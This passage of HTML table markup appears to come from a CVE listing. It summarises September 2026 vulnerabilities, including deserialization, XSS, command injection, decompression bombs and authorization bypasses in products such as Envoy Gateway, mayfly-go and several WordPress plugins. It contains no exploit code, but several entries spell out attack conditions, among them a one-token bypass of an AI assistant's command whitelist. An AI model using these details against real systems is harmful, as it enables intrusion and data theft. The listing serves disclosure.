&lt;td class=&quot;vendor-product&quot;&gt;djust-org--djust&lt;/td&gt;
&lt;td&gt;djust provides Phoenix LiveView-style reactive server-side rendering for Django with Rust-powered performance. Prior to version 1.0.7, the WebSocket `handle_mount` and `ViewRuntime._build_request` rebuild an `HttpRequest` via `RequestFactory().get(...)` with no `HTTP_HOST`, so `request.get_host()` defaulted to `&quot;testserver&quot;` on the live path. Host/subdomain/domain `TenantResolver`s then misresolved the tenant - `None` on the live path while the HTTP path resolved correctly. With `STRICT_MODE=False` the tenant-scoped managers returned unscoped rows (cross-tenant disclosure); with the default they returned an empty queryset (broken tenancy). This is fixed in djust 1.0.7. The handshake Host is extracted from the ASGI scope, validated against `ALLOWED_HOSTS` (the same logic as the CSWSH Origin gate, parsed with Django&#039;s `split_domain_port` so malformed Hosts are rejected at the boundary), and propagated - with the TLS scheme - into the reconstructed request, so live-path tenant resolution matches HTTP exactly. There is no known workaround on the live path short of upgrading. Users are most exposed when combined with `STRICT_MODE=False`.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61589&quot; target=&quot;_blank&quot;&gt;CVE-2026-61589&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;DLR-RM--stable-baselines3&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in DLR-RM stable-baselines3 up to 2.9.0. This affects the function PPO.load/load_replay_buffer/VecNormalize.load of the file save_util.py. Such manipulation leads to deserialization. It is possible to launch the attack remotely. The exploit has been disclosed publicly and may be used. In v2.9.0 the PyTorch tensor load path is hardened (weights_only=True), but that hardening was later reverted on master via PR #1913 &quot;Hotfix: revert loading with weights_only=True&quot; [blocked] to fix PyTorch 1.13 compat - so even the one &quot;safe&quot; path is inconsistent across versions. #2281 was closed as a duplicate of #1831 since both are unsafe pickle deserialization - but #1831&#039;s fix (PR #41) only gated the Hugging Face Hub loader in the separate huggingface_sb3 package. This finding covers the core stable_baselines3 load APIs (PPO.load, load_replay_buffer, VecNormalize.load), which have no safe mode or gate and remained exploitable in v2.9.0 until the outstanding hardening (PR #2264) ships.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94093&quot; target=&quot;_blank&quot;&gt;CVE-2026-94093&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;dmlc--dgl&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in dmlc dgl up to 2.1.0. This impacts the function load_info/_read_torch_data of the file utils.py. Performing a manipulation of the argument path results in deserialization. The attack can be initiated remotely. The exploit is now public and may be used. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94092&quot; target=&quot;_blank&quot;&gt;CVE-2026-94092&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;dromara--Jpom&lt;/td&gt;
&lt;td&gt;Jpom through 2.11.12 fails to validate workspace ownership when resolving repositoryId on the /build/branch-list endpoint, allowing authenticated users to access repositories from other workspaces. Attackers can submit repository identifiers from different workspaces to enumerate repository existence, determine repository type, and execute git ls-remote commands using other workspaces&#039; stored credentials.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91993&quot; target=&quot;_blank&quot;&gt;CVE-2026-91993&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dromara--mayfly-go&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in Dromara mayfly-go up to 1.11.5. The affected element is an unknown function of the file server/internal/ai/api/ai.go of the component AI Assistant. The manipulation leads to missing authorization. Remote exploitation of the attack is possible. The exploit has been disclosed publicly and may be used. The identifier of the patch is 74bcb926eb4f5f94e7681144d7bf2168a0ec7cde. Applying a patch is the recommended action to fix this issue. The whitelist bypass is one-token wide. Any compound command containing curl, wget or sed auto-runs without approval; approval is granted by the same session user (self-approval). This issue got fixed with a silent patch.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92992&quot; target=&quot;_blank&quot;&gt;CVE-2026-92992&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dromara--mayfly-go&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in Dromara mayfly-go up to 1.11.5. The impacted element is the function RunMachineScript of the file server/internal/machine/api/machine_script.go of the component Machine Script Feature. The manipulation of the argument params results in os command injection. The attack can be executed remotely. The exploit is now public and may be used. Exploitation needs no admin account. Any account holding machine:script:run plus tag access reaches arbitrary command execution on machines whose templates contain {{.param}} placeholders; the SSH exec layer (Cli.Run) also applies no input filtering to any caller. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92993&quot; target=&quot;_blank&quot;&gt;CVE-2026-92993&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dromara--UJCMS&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in Dromara UJCMS up to 12.3.1. The affected element is the function usernameExist of the file ujcms-cms/src/main/java/com/ujcms/cms/core/web/api/UserController.java of the component UserController. Performing a manipulation of the argument Username results in improper authorization. It is possible to initiate the attack remotely. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93961&quot; target=&quot;_blank&quot;&gt;CVE-2026-93961&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;dvankooten--MC4WP: Mailchimp for WordPress&lt;/td&gt;
&lt;td&gt;The MC4WP: Mailchimp for WordPress plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via &#039;data&#039; Dynamic Content Tag in all versions up to, and including, 4.14.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87917&quot; target=&quot;_blank&quot;&gt;CVE-2026-87917&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dvidelabs--flatcc&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in Dvidelabs flatcc up to 0.6.3. The impacted element is the function fb_clear_parser of the file src/Compiler/semantics.c. The manipulation leads to memory leak. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of the patch is 8dbc3419738da066151991fd2bf1d0c85591dea2. It is suggested to install a patch to address this issue.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90784&quot; target=&quot;_blank&quot;&gt;CVE-2026-90784&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dvidelabs--flatcc&lt;/td&gt;
&lt;td&gt;A vulnerability was found in Dvidelabs flatcc up to 0.6.3. This affects the function analyze_struct of the file src/compiler/semantics.c of the component Struct Analysis. The manipulation results in reachable assertion. It is possible to launch the attack remotely. The exploit has been made public and could be used. The patch is identified as f705032346ee39efd7d3848c50b73d455d28d06d. A patch should be applied to remediate this issue.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90785&quot; target=&quot;_blank&quot;&gt;CVE-2026-90785&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dvidelabs--flatcc&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in Dvidelabs flatcc up to 0.6.3. This impacts the function align_order_members of the file src/compiler/semantics.c of the component Duplicate Symbol Handler. This manipulation causes reachable assertion. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. Patch name: 8b19ba4e992ebcad7f5970704d1afc5507fa5205. To fix this issue, it is recommended to deploy a patch.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90786&quot; target=&quot;_blank&quot;&gt;CVE-2026-90786&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dylan Kuhn--Geo Mashup&lt;/td&gt;
&lt;td&gt;Contributor Cross Site Scripting (XSS) in Geo Mashup &amp;lt;= 1.13.21 versions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78294&quot; target=&quot;_blank&quot;&gt;CVE-2026-78294&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;easyappointments--Easy Appointments&lt;/td&gt;
&lt;td&gt;The Easy Appointments plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.12.27 via the handle_customers_ajax. This makes it possible for authenticated attackers, with contributor-level access and above, to extract the full customer dataset from the ea_customers table, including personally identifiable information such as names, email addresses, mobile numbers, dates of birth, and physical addresses.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-9232&quot; target=&quot;_blank&quot;&gt;CVE-2026-9232&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Eclipse Foundation--Eclipse OpenVSX&lt;/td&gt;
&lt;td&gt;Publishing limits the compressed size of a VSIX (ovsx.publishing.max-content-size, 512 MB by default) but nothing limited how large an entry becomes when opened. On the first request to /vscode/unpkg/{namespace}/{extension}/{version}/{path}, WebResourceService opened the entry with ZipFile.getInputStream() and passed the decompressed stream to Files.copy(), which ran to the end of the stream without counting bytes written. The result was cached under java.io.tmpdir, and that cache evicted by entry count (150), not by size, so it placed no bound on disk usage. A publisher with access only to their own namespace could therefore upload a small, highly compressible VSIX and cause the server to write far larger files to the temp filesystem - repeating with different files or versions, since a repeat request is served from the cache. Impact observed: the temp filesystem filled; requests for files not already cached returned 500 with No space left on device; a failed extraction left a partial cache file that blocked later attempts at that path; publishing failed with Failed to read extension file. Metadata and already-cached files kept working, and the server did not stop. Triggering the extraction needs no authentication - only the upload does.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89321&quot; target=&quot;_blank&quot;&gt;CVE-2026-89321&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;edgarrojas--PDF Builder for WooCommerce. Create invoices,packing slips and more&lt;/td&gt;
&lt;td&gt;The PDF Builder for WooCommerce. Create invoices,packing slips and more plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.0.11. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to retrieve invoice numbers, formatted invoice numbers, and creation timestamps for arbitrary WooCommerce orders by supplying any OrderNumber and InvoiceId values with a garbage nonce.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11899&quot; target=&quot;_blank&quot;&gt;CVE-2026-11899&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;edwardkim--rhwp&lt;/td&gt;
&lt;td&gt;rhwp is an HWP viewer and editor implemented in Rust and WebAssembly. Prior to rhwp 0.7.15 and rhwp Chrome and Firefox extension 0.2.4, the browser extensions use an all-URLs host permission to detect HWP and HWPX links on visited pages, but the service workers do not validate message senders, URL schemes, or destination addresses before privileged fetches. The affected paths are rhwp-chrome/manifest.json, rhwp-chrome/content-script.js, rhwp-chrome/sw/message-router.js, rhwp-chrome/sw/thumbnail-extractor.js, rhwp-firefox/manifest.json, rhwp-firefox/content-script.js, rhwp-firefox/sw/message-router.js, and rhwp-firefox/sw/thumbnail-extractor.js. An untrusted page can make the fetch-file and extract-thumbnail handlers request localhost or private-network resources. When a target HWP or HWPX file contains an extractable PrvImage, the extension returns the preview as a data URI in page-readable DOM, allowing page script to read it. The flaw also permits internal-resource existence and port probing and extension presence or version fingerprinting. Exploitation requires a user to visit an untrusted page while the extension is enabled, and preview disclosure is limited to an extractable PrvImage. This issue is fixed in rhwp 0.7.15 and rhwp Chrome and Firefox extension 0.2.4.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54565&quot; target=&quot;_blank&quot;&gt;CVE-2026-54565&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Elegant Themes--Divi&lt;/td&gt;
&lt;td&gt;The The Divi theme for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 5.11.1. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes. When the &#039;Force Enable D4 Shortcode Framework&#039; option is enabled, this includes invoking the et_pb_contact_form shortcode to send email to an attacker-selected recipient with attacker-controlled content.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91707&quot; target=&quot;_blank&quot;&gt;CVE-2026-91707&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;empik--Empik for Woocommerce&lt;/td&gt;
&lt;td&gt;The Empik for Woocommerce plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.5.1. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to modify arbitrary WooCommerce product metadata, including Empik logistic class (_empik_logistic_klass), product state (_empik_product_state, _empik_product_state_all_variants), and Empik export and offer flags on any product in the store.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-9766&quot; target=&quot;_blank&quot;&gt;CVE-2026-9766&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;envoyproxy--gateway&lt;/td&gt;
&lt;td&gt;Envoy Gateway is an open source project for managing Envoy Proxy as a standalone or Kubernetes-based application gateway. Prior to 1.7.4 and 1.8.1, getFileFromGZ in internal/wasm/httpfetcher.go calls io.ReadAll on a gzip.Reader without limiting decompressed output when a tenant-controlled EnvoyExtensionPolicy.spec.wasm[].code.http.url points to a reachable compressed Wasm payload. The 256 MiB compressed-input cap does not constrain the expanded size, no operator Wasm URL allowlist exists, and the optional sha256 check occurs only after decompression, so a comparatively small gzip stream can force a multi-gigabyte allocation in the shared controller. The resulting out-of-memory termination restarts the controller, re-reconciles the persistent custom resource, and can create a persistent cross-tenant control-plane outage. This issue is fixed in versions 1.7.4 and 1.8.1.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-53716&quot; target=&quot;_blank&quot;&gt;CVE-2026-53716&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;envoyproxy--gateway&lt;/td&gt;
&lt;td&gt;Envoy Gateway is an open source project for managing Envoy Proxy as a standalone or Kubernetes-based application gateway. Prior to 1.7.4 and 1.8.1, internal/wasm/imagefetcher.go follows tenant-controlled EnvoyExtensionPolicy spec.wasm[].code.image.url values to Docker or OCI Wasm layers, and extractWasmPluginBinary uses the untrusted tar-header h.Size value to allocate memory before validating the entry name or declared size. A small PAX or GNU tar header can therefore claim a multi-terabyte entry even though the surrounding LimitReader restricts only the bytes read from the stream, and no registry allowlist prevents a permitted tenant from selecting an attacker-controlled registry that the controller can reach. The allocation is attempted for every tar entry and can cause an unrecoverable Go runtime out-of-memory failure; because the custom resource persists, reconciliation repeatedly crash-loops the shared controller and causes a single-request, non-volumetric, cluster-wide control-plane denial of service. This issue is fixed in versions 1.7.4 and 1.8.1.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-53717&quot; target=&quot;_blank&quot;&gt;CVE-2026-53717&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;envoyproxy--gateway&lt;/td&gt;
&lt;td&gt;Envoy Gateway is an open source project for managing Envoy Proxy as a standalone or Kubernetes-based application gateway. Prior to 1.7.4 and 1.8.1, an HTTPRoute can use an extension-managed custom backendRef to reference a backend resource in another namespace without a matching Gateway API ReferenceGrant in the target namespace. The custom-backend branch in internal/gatewayapi/route.go omits validateBackendNamespace, allowing the route-owning namespace to bind to and use the resource without the backend namespace owner&#039;s consent and violating the Gateway API cross-namespace authorization model. This issue is fixed in versions 1.7.4 and 1.8.1.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-53718&quot; target=&quot;_blank&quot;&gt;CVE-2026-53718&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;envoyproxy--gateway&lt;/td&gt;
&lt;td&gt;Envoy Gateway is an open source project for managing Envoy Proxy as a standalone or Kubernetes-based application gateway. Prior to 1.7.4 and 1.8.1, translateSecurityPolicyForRoute in internal/gatewayapi/securitypolicy.go dereferences a nil authorization value when a namespace-scoped tenant creates a SecurityPolicy targeting a TCPRoute and omits spec.authorization. The persistent object triggers the panic on every reconcile; recovery in message/watchutil.go keeps the process alive but unwinds the runner/runner.go handle callback, stalling controller-wide xDS and infrastructure intermediate-representation publishing until an administrator deletes the object. The data plane continues to serve the last known good configuration while publication is stalled. This issue is fixed in versions 1.7.4 and 1.8.1.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-53719&quot; target=&quot;_blank&quot;&gt;CVE-2026-53719&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;envoyproxy--gateway&lt;/td&gt;
&lt;td&gt;Envoy Gateway is an open source project for managing Envoy Proxy as a standalone or Kubernetes-based application gateway. Prior to 1.7.4 and 1.8.1, HTTPServer.ServeHTTP in internal/wasm/httpserver.go reads the plain mappingPath2Cache map without synchronization while HTTPServer.Get writes the same map during EnvoyExtensionPolicy translation. An attacker with pod-network access to unauthenticated port 18002 and tenant permission to churn policies with distinct Wasm URLs can flood GET requests until a per-request reader overlaps a writer. Go&#039;s concurrent map read and write detection invokes runtime.throw, which the net/http connection recovery cannot catch, terminating the controller process and causing a timing-dependent, cross-tenant control-plane denial of service until Kubernetes restarts the pod. This issue is fixed in versions 1.7.4 and 1.8.1.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-53715&quot; target=&quot;_blank&quot;&gt;CVE-2026-53715&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;error311--FileRise&lt;/td&gt;
&lt;td&gt;FileRise before version 3.28.0 contains a privilege escalation vulnerability that allows authenticated low-privilege attackers to gain unauthorized read and write access by exploiting improper session isolation between the WebDAV interface and the web application session context. Attackers can combine valid Basic-Auth credentials with an active admin PHPSESSID cookie to bypass authorization boundaries, as the WebDAV layer incorrectly inherits elevated privileges from an ambient web session rather than enforcing independent stateless authentication per RFC 4918.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92616&quot; target=&quot;_blank&quot;&gt;CVE-2026-92616&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Erudika--scoold&lt;/td&gt;
&lt;td&gt;Scoold is a Q&amp;amp;A and a knowledge sharing platform for teams. Prior to 1.69.0, users with personal API tokens can retrieve replies from questions in private spaces they cannot access because src/main/java/com/erudika/scoold/api/ApiController.java in ApiController.getPostReplies() does not apply canAccessSpace before returning data from GET /api/posts/{id}/answers. The issue is reachable when scoold.api_user_access_enabled and scoold.api_enabled are true and a token holder knows or enumerates a private question identifier. Under those conditions, the question endpoint can deny access while the answers endpoint returns the private reply bodies, exposing confidential team or project discussions. This issue is fixed in version 1.69.0.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54676&quot; target=&quot;_blank&quot;&gt;CVE-2026-54676&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Erudika--scoold&lt;/td&gt;
&lt;td&gt;Scoold is a Q&amp;amp;A and a knowledge sharing platform for teams. Prior to 1.69.0, authenticated users who are not members of a private space can create content in questions belonging to that space because src/main/java/com/erudika/scoold/controllers/QuestionController.java in QuestionController.reply() and src/main/java/com/erudika/scoold/controllers/CommentController.java in CommentController.createAjax() do not apply the canAccessSpace authorization check used by the question read path. With scoold.is_default_space_public set to false and private spaces in use, a user with a valid session and a known or enumerable question identifier can send requests to POST /question/{id} and POST /comment, causing replies and comments to be stored in a thread the user cannot read. This permits unauthorized modification of private discussions and can trigger notifications that reveal the existence or metadata of private activity. This issue is fixed in version 1.69.0.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54677&quot; target=&quot;_blank&quot;&gt;CVE-2026-54677&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;EspoCRM--EspoCRM&lt;/td&gt;
&lt;td&gt;EspoCRM through 10.0.8 uses PHP&#039;s rand() function to generate tokens for lead-capture opt-in, event invitation, and campaign URLs instead of a cryptographically secure generator. Remote unauthenticated attackers can guess these roughly 31-bit tokens to confirm opt-ins, accept or decline event invitations on behalf of other contacts, and access event details.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92298&quot; target=&quot;_blank&quot;&gt;CVE-2026-92298&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;espocrm--espocrm&lt;/td&gt;
&lt;td&gt;EspoCRM before 10.0.4 contains a field-level security bypass vulnerability in the meeting and call attendees endpoints that allows authenticated users to read restricted email addresses. Attackers can recover hidden attendee emails by exploiting incorrect ACL scope validation that checks parent event permissions instead of attendee entity permissions.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90934&quot; target=&quot;_blank&quot;&gt;CVE-2026-90934&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Eventin--Eventin&lt;/td&gt;
&lt;td&gt;The Eventin WordPress plugin before 4.1.24 does not verify that a completed payment corresponds to the order it is applied to, confirming only that the payment gateway reports the transaction as successful, not its amount, currency, or which order it belongs to, allowing unauthenticated visitors to mark unpaid orders of any value as paid by replaying the transaction of a single genuine low-value payment.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84906&quot; target=&quot;_blank&quot;&gt;CVE-2026-84906&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;evolution-foundation--evolution-api&lt;/td&gt;
&lt;td&gt;evolution-api through 2.3.7 contains an incorrect array comparison in the metricsIPWhitelist middleware that always evaluates to false, allowing unauthenticated access to the /metrics endpoint. Attackers can bypass IP whitelist restrictions to access sensitive metrics disclosing server version, database client name, configured server URL, and WhatsApp instance details.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91997&quot; target=&quot;_blank&quot;&gt;CVE-2026-91997&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Exim--Exim&lt;/td&gt;
&lt;td&gt;Exim before 4.100.1 allows SMTP smuggling in which the received message does not match any sent message, and instead depends on crafted data sent after a rejection during DATA processing.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94057&quot; target=&quot;_blank&quot;&gt;CVE-2026-94057&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;extendthemes--Kubio AI Page Builder&lt;/td&gt;
&lt;td&gt;The Kubio AI Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via kubio/copyright Block Content in all versions up to, and including, 2.8.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This bypasses both the WordPress core kses-on-save filter and the plugin&#039;s own wp_kses_post() call, because entity-encoded script tags are treated as inert text by kses but are decoded into live HTML by the subsequent html_entity_decode() call in CopyrightBlock::render_template().&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-14472&quot; target=&quot;_blank&quot;&gt;CVE-2026-14472&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;f1logic--WP2Social Auto Publish&lt;/td&gt;
&lt;td&gt;The WP2Social Auto Publish plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 2.4.12 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
